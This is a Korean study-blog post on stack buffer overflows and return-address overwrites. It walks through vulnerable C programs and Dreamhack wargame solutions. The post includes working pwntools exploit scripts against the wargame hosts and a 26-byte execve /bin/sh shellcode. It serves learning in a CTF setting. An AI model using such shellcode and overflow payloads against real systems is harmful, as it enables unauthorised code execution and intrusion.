TIL : Stack buffer overflow, Return address overwrite ✏️

https://dreamhack.io/lecture/courses/60

Stack Buffer Overflow

Stack buffer overflow는 stack의 buffer에서 발생하는 overflow이다.

Buffer overflow란 buffer의 크기보다 큰 크기의 데이터가 buffer에 들어가려 할 때 발상한다. 일반적으로 buffer는 memory 상에서 연속적으로 allocate되어 있으므로 buffer overflow가 발생할 경우 buffer 뒤의 memory들이 corrupt될 수 있다.

Buffer overflow가 일으킬 수 있는 문제들

Buffer overflow로 인해 buffer 외부의 memory에 접근이 가능해지면 아래와 같은 문제가 발생할 수 있다:

  • 중요한 variable의 값을 허가되지 않은 방법으로 수정할 수 있다.
  • 외부로 유출하면 안되는 data를 유출할 수 있다.
    • C에서 string은 NULL byte로 종결되며, standard string output function들은 NULL을 string의 끝으로 인식한다. → Buffer overflow를 통해 NULL byte들을 제거하면, 해당 buffer를 출력시켜 다른 memory 구역의 data를 읽을 수 있다.
  • Stack 상의 return address를 수정하여 process의 control flow를 수정할 수 있다. → Return address overwrite 공격

String input functions in C

입력 함수(패턴) 위험도 평가 근거
gets(buf) 매우 위험 • 입력받는 길이에 제한이 없음.
• Buffer의 NULL termination을 보장하지 않음: 입력의 끝에 NULL를 삽입하므로, buffer를 꽉채우면 NULL로 종결되지 않음. 이후 string 관련 function을 사용할 때 버그가 발생하기 쉬움.
scanf(“%s”, buf) 매우 위험 • 입력받는 길이에 제한이 없음.
• Buffer의 NULL termination을 보장하지 않음: gets와 동일.
scanf(“%[width]s”, buf) 주의 필요 • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, overflow가 발생할 수 있음.
• Buffer의 NULL termination을 보장하지 않음: gets와 동일.
fgets(buf, len, stream) 주의 필요 • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, overflow가 발생할 수 있음.
• Buffer의 NULL termination을 보장함.
◦ len보다 적게 입력하면, 입력의 끝에 NULL byte 삽입.
◦ len만큼 입력하면, 입력의 마지막 byte를 버리고 NULL byte 삽입.
• 데이터 유실 주의: Buffer에 담아야 할 data가 30 bytes인데, buffer의 크기와 len을 30으로 작성하면, 29 bytes만 저장되고, 마지막 byte는 유실됨.

Example Code - rao.c

#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

Vulnerability scanning

scanf("%s", buf);scanf%s는 입력의 길이를 제한하지 않고, 공백 문자가 들어올 때까지 계속 입력을 받는다. → Buffer의 크기보다 큰 data를 입력하면 overflow가 발생할 수 있다.

Stack frame 구조 파악하기

main의 assembly code를 통해 scanf에 전달되는 인자를 확인한다. 이를 통해 buffer의 address와 size를 파악한다. → 0x30 bytes임을 알 수 있음

rbpstack frame pointer(SFP) 가 저장되고, rbp+0x8return address가 저장되므로 순서대로 buf가 0x30 bytes, SFP가 0x8 bytes, return address가 0x8 bytes만큼 stack에 존재함을 알 수 있다.

Shellcode

이 문제에서는 get_shell()이라는 shell을 실행하는 함수가 있으므로 따로 shellcode를 작성할 필요가 없다. gdb를 활용해 get_shell()의 주소만 파악하면 된다.

Payload 구성하기

payload는 stack frame의 구조에 맞추어 return address 부분에 원하는 data를 넣을 수 있도록 구성한다. 이 문제의 경우 dummy data를 0x38 bytes만큼 넣고, 그 뒤 0x8 byte에 get_shell()의 주소를 넣어 payload를 구성하면 된다.

이때 get_shell()의 주소에 little endian을 적용해야 함에 주의한다.

Exploit

작성한 payload를 rao에 전달하면 shell을 획득할 수 있다.

Wargame: basic_exploitation_000

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

Vulnerability scanning

앞의 example과 마찬가지로 scanf 함수를 사용하므로 이를 이용해 buffer overflow를 일으킬 수 있다.

문제의 printf("buf = (%p)\n", buf); 부분이 buf의 주소를 출력해주므로 이를 활용한다.

Stack frame 구조 파악하기

gdb로 executable을 분석해보면 scanf의 인자로 rbp - 0x80이 들어감을 알 수 있다. → Buffer의 size는 0x80

또한 앞의 example과 달리 architecture가 i386-32-little로 주어져있으므로 SFP와 return address의 크기는 0x4 bytes임을 알 수 있다.

따라서 순서대로 buffer 0x80 bytes, SFP 0x4 bytes, return address 0x4 bytes로 stack frame이 구성된다.

Shellcode

Shellcode는 직접 assembly를 짜고 binary로 변환해도 되고, 미리 알려져 있는 조각을 사용해도 된다. https://hackhijack64.tistory.com/38

scanf는 공백 문자(띄어쓰기, tab, 등)을 filtering하므로 \x09, \x0a, \x0b, \x0c, \x0d, \x20을 filtering한다. 따라서 이 byte들이 들어있지 않은 shellcode를 사용해야 한다.

이 풀이에서는 26 bytes 짜리 shellcode를 사용했다: \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

Payload 구성하기

payload는 크게 두 가지 방식으로 구성할 수 있다. (큰 차이는 없음) :

  • buffer의 address에 바로 shellcode를 넣고, 그 뒷부분은 dummy data로 채우고, return address 부분에 buffer의 address 넣기
  • buffer의 address에 nop를 쭉 나열하고 마지막에 shellcode를 넣고, return address 부분에 buffer의 address 넣기

Exploit

from pwn import *

p = remote("host3.dreamhack.games", 18896)

mc = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")

buf = int(p.recv(10), 16)

payload = mc
payload += b"\x80"*(0x80-len(mc))
payload += b"\x81"*0x4
payload += p32(buf)

p.sendline(payload)

p.interactive()
  • recvuntil을 사용해서 쉽게 출력되는 buffer의 address를 parsing할 수 있다. 또는 p.recv(7)를 미리 한 번 써서 앞 부분을 날려줘도 된다.
  • Payload를 작성할 때 dummy data 부분과 shellcode 부분의 앞에 b를 써서 byte string으로 encode해줘야한다는 사실을 몰라 고생을 많이 함.
  • p32(buf)과 같이 buffer의 주소를 little endian으로 packing해야 한다. 이때 architecture를 고려해서 p64가 아닌 p32를 사용해야 함에 주의하자.

Wargame: basic_exploitation_001

Example code와 거의 동일한 문제이다. read_flag()의 주소를 buffer overflow를 통해 return address 부분에 넣어주면 된다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
} 

Stack frame 구조 파악하기

마찬가지로 gdb로 디버깅해보면 buffer 0x80 bytes, SFP 0x4 bytes, return address 0x4 bytes로 stack frame이 구성됨을 알 수 있다.

Shellcode

따로 shellcode를 작성할 필요 없이 read_flag()를 실행하면 된다. read_flag()의 주소는 gdb로 디버깅하여 알아낸다.

Payload 구성하기

위 문제들과 동일하게 구성하면 된다.

Exploit

from pwn import *

p = remote("host3.dreamhack.games", 14218)

payload = b"\x80"*0x84 + p32(0x80485b9)

p.sendline(payload)
p.interactive()

Leave a comment